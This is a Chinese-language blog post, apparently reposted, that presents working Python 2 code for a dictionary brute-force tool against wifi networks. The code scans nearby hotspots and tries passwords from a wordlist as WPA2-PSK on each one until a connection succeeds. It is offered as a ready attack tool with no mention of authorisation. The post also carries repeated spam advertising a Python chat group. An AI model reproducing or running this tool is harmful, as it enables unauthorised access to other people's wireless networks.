用Python做黑客,暴力破解wifi密碼


前幾篇文章主要介紹了使用delphi開發后門及簡單的遠控的知識,有小伙伴說delphi已經過時了沒人用了,但是筆者覺得編程語言只是實現功能的一種方式,使用你熟悉或者喜歡的語言即可。

DELPHI黑客編程(一):正向后門原理實現
DELPHI黑客編程(二):反彈后門原理實現
DELPHI黑客編程(三):簡單遠控原理實現

在最近的公司項目開發中接觸到python語言及wifi相關的一些知識,正好將最近學到的和大家分享一下。另外注意:不管你是為了Python就業還是興趣愛好,記住:項目開發經驗永遠是核心,如果你沒有2020最新python入門到高級實戰視頻教程,可以去小編的Python交流.裙 :七衣衣九七七巴而五(數字的諧音)轉換下可以找到了,里面很多新python教程項目,還可以跟老司機交流討教!

0x0001 開發環境:

windows 10+python2.7.15

0x0002 開發目標:

開發基於字典破解wifi熱點密碼的小工具

在開發這個工具的時候筆者現在網上搜索到了一些項目,但都是linux下的,不能直接用於windows平台,因此就決定結合找到的linux下的項目,修改成windows下可運行的。
首先找到文章《一個非常簡單易懂的WIFI密碼爆破python腳本》https://my.oschina.net/Apathy/blog/821039,但是文章中說使用了pywifi模塊,“這個模塊在win下有點雞肋,作者在調用WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝,所以推薦在linux下跑,我測試所使用的是Kali 2.0 自帶python 2.7.6 ,可直接通過 pip install pywifi 安裝。”但筆者在測試的時候發現,在windows下還是可以運行的,因為要對這個模塊的源代碼進行一些修改,所以就沒有安裝模塊,而是直接拷貝模塊的源代碼到項目目錄下。

0x0003 模塊的修改:

在使用模塊自帶的測試用例時候,發現print輸出了很多無用的信息,因此在_wifiutil_win.py的335行去掉對“show_my_need_info”的調用。

0x0004 程序執行流程

功能需求比較清晰,因此我們的步驟如下:
1、獲得本機無線網卡信息
2、掃描周圍wifi熱點
3、使用字典嘗試連接wifi熱點
4、輸出掃描結果

按照上面的流程就可以編寫代碼了。

0x0005 代碼實現

獲得無線網信息

引用模塊后,主要使用interfaces函數獲取本機無線網卡信息,具體代碼封裝如下:

def get_wifi_interface(): wifi = PyWiFi() if len(wifi.interfaces()) <= 0: print u'未找到無線網卡接口!' exit() if len(wifi.interfaces()) == 1: print u'無線網卡接口: %s'%(wifi.interfaces()[0].name()) return wifi.interfaces()[0] else: print '%-4s %s'%(u'序號',u'網卡接口名稱') for i,w in enumerate(wifi.interfaces()): print '%-4s %s'%(i,w.name()) while True: iface_no = raw_input('請選擇網卡接口序號:'.decode('utf-8').encode('gbk')) no = int(iface_no) if no>=0 and no < len(wifi.interfaces()): return wifi.interfaces()[no]

掃描周圍熱點

主要通過scan函數獲得scan_results結果,具體代碼封裝如下,這里sleep(2)是因為測試的時候本機的無線網卡返回信息需要一些時間,當然如果你的網卡性能好,可以去掉這個sleep:

def scan(face): face.scan() time.sleep(2) return face.scan_results()

嘗試連接(破解密碼)

密碼破解這里先要定義一個Profile,然后再將Profile作為參數調用connect進行連接嘗試,使用status函數取連接結果的返回值,如果是const.IFACE_CONNECTED則連接成功,顯示結果,如果是其他則為失敗。

def test(i,face,x,key,stu,ts): showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid key_index = 0 while key_index < len(key): k = key[key_index] x.key = k.strip() face.remove_all_network_profiles() profile = Profile() profile.ssid = x.ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = x.key face.connect(face.add_network_profile(profile)) code = -1 t1 = time.time() now = time.time() - t1 while True: time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code))) stu.flush() if code == const.IFACE_DISCONNECTED : break elif code == const.IFACE_CONNECTED: face.disconnect() stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now,len(key)-key_index,k.strip(),u'**成功!**')) stu.flush() return "%-20s | %s | %15s"%(x.ssid,x.bssid,k) key_index = key_index + 1 stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showID,'','','',u'失敗!')) stu.flush() return False

主要代碼如上,運行效果如下:

1.png

問題

這里有一個問題,就是pywifi模塊的windows版本的代碼里並沒有實現獲取wifi熱點的加密狀態信息,比如是使用WPA、WPA2、WPA2PSK還是WPAPSK方式加密認證的,因此我就默認將所有的wifi熱點看作是開啟了加密認證的,並在破解的時候視為“profile.akm.append(const.AKM_TYPE_WPA2PSK)”進行破解嘗試。
最后注意:不管你是為了Python就業還是興趣愛好,記住:項目開發經驗永遠是核心,如果你沒有2020最新python入門到高級實戰視頻教程,可以去小編的Python交流.裙 :七衣衣九七七巴而五(數字的諧音)轉換下可以找到了,里面很多新python教程項目,還可以跟老司機交流討教!

本文的文字及圖片來源於網絡加上自己的想法,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯系我們以作處理。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM